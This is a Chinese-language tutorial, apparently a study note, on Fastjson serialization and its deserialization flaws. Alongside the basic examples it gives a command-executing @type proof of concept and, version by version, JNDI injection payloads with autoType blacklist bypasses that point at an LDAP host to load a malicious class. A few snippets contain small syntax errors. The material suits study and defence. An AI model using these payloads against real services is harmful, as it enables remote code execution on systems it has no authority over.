Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

一个例子

//一个简单的Java Bean
//使用Alt+Insert快捷键快速生成setter和getter

public class Person {
public String name;
public int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

Fastjson 中序列化和反序列化的方法

//序列化
String text = JSON.toJSONString(obj);

//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

测试

import com.alibaba.fastjson.JSON;

public class Fastjson_Learning {
public static void main(String[] args) {
//创建一个Java Bean对象
Person person = new Person();
person.setName("Faster");
person.setAge(18);

System.out.println("--------------序列化-------------");

//将其序列化为JSON
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);

System.out.println("-------------反序列化-------------");

//使用parse方法,将JSON反序列化为一个JSONObject
Object o1 = JSON.parse(JSON_Serialize);
System.out.println(o1.getClass().getName());
System.out.println(o1);

System.out.println("-------------反序列化-------------");

//使用parseObject方法,将JSON反序列化为一个JSONObject
Object o2 = JSON.parseObject(JSON_Serialize);
System.out.println(o2.getClass().getName());
System.out.println(o2);

System.out.println("-------------反序列化-------------");

//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
}
}

得到的结果

--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
zip.fastjson.Person
zip.fastjson.Person@7b1d7fff

不指定类的话就是JSONObject

@type

序列化对象的时候,如果toJSONString()方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串
{"age":18,"name":"Faster"}

如果想要对象,可以使用parse()方法
{"name":"Faster","age":18}

而如果要将JSON字符串反序列化为原始的类

  1. toJSONString()方法中添加额外的属性SerializerFeature._WriteClassName_,将对象类型一并序列化
Person person = new Person();
person.setName("Faster");
person.setAge(18);

//序列化时添加额外属性
String type = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(type);


//result
{"@type":"Person","age":18,"name":"Faster"}

//在反序列化该JSON字符串的时候,`parse()`方法就会根据`@type`标识将其转为原来的类
  1. 在反序列化的时候,在parseObject()方法中手动指定对象的类型
bject o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);

反序列化

demo:

package zip.fastjson.demo;  

import java.io.IOException;

public class Calc {
public String calc;

public Calc() {
System.out.println("调用了构造函数");
}

public String getCalc() {
System.out.println("调用了getter");
return calc;
}

public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("open -a Calculator");
System.out.println("调用了setter");
}
}

poc

package zip.fastjson.demo;  

import com.alibaba.fastjson.JSON;

public class Fastjson_Test {
public static void main(String[] args) {
String JSON_Calc = "{\"@type\":\"zip.fastjson.demo.Calc\",\"calc\":\"Faster\"}"; //这里注意类路径要符合
System.out.println(JSON.parseObject(JSON_Calc));
}
}

结果是

调用了构造函数
调用了setter
调用了getter
{"calc":"Faster"}

并且成功执行命令(@type对他的版本有要求)

利用

version <= 1.2.24

支持@type,两条利用链

JdbcRowSetImpl

最终结果是JNDI注入

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
Templateslmpl

该链的利用面较窄,由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField

version 1.2.25-1.2.41

1.2.25版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport

可以手动关闭ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

TypeUtils#loadClass

  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

L开头和;结尾就可以绕过

{" 
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
//其他利用链也同理

version 1.2.42

1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点

  • 黑名单改为了hash值,防止绕过
  • 对于传入的类名,删除开头L和结尾的;

难崩,双写绕过

{"
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}

version 1.2.43

1.2.43版本修改了checkAutoType()的部分代码,对于LL等开头结尾的字符串直接抛出异常。

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

[{绕过

{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}

version 1.2.44

修复[

version 1.2.45

能通过mybatis组件进行JNDI接口调用,进而加载恶意类

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>

Payload

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/EXP"
}
}

version 1.2.47

该版本Payload能够绕过`checkAutoType`内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测

  1. 前半——将恶意类写入mapping缓存
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
...
//前面是对typeName格式的各种检测,这里我们暂时跳过

//开启autoTypeSupport,则进入白名单+黑名单检测
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;

//白名单检测,这里我们无法绕过
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

//黑名单检测,可以看到这里多了一个从Mapping中寻找类名的判断,绕过的关键就在这里
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
//从Mapping缓冲中加载类
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
//从deserializer中加载类
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//通过上面两个方法加载类后返回
return clazz;
}

//默认开启白名单的情况
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

//黑名单校验
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

//白名单校验
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

...

return clazz;
}

可以看到,如果我们在mapping中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping这个属性是否可控,如果能够将我们的恶意类写入mapping中,那么就有可能绕过checkAutoType()的检测

mapping.putTypeUtils#addBaseClassMappingsTypeUtils#loadClass中被调用

{
//满足clazz为Class.class
"@type":"java.lang.Class",

//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}
  1. 后半- 从mapping中加载恶意类

通过从mapping中加载恶意类可以绕过checkAutoType()的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类

{
"1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}

"2":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/EXP",
"autoCommit":"true"
}
}

该版本Payload基本通杀前全版本的Fastjson

version 1.2.48

无了mapping

Trick

当存在反序列化漏洞并以toString为入口时,通过Fastjson的com.alibaba.fastjson.JSONObject.toString方法可以调用任意类的getter方法,因此可以配合TemplatesImpl进行RCE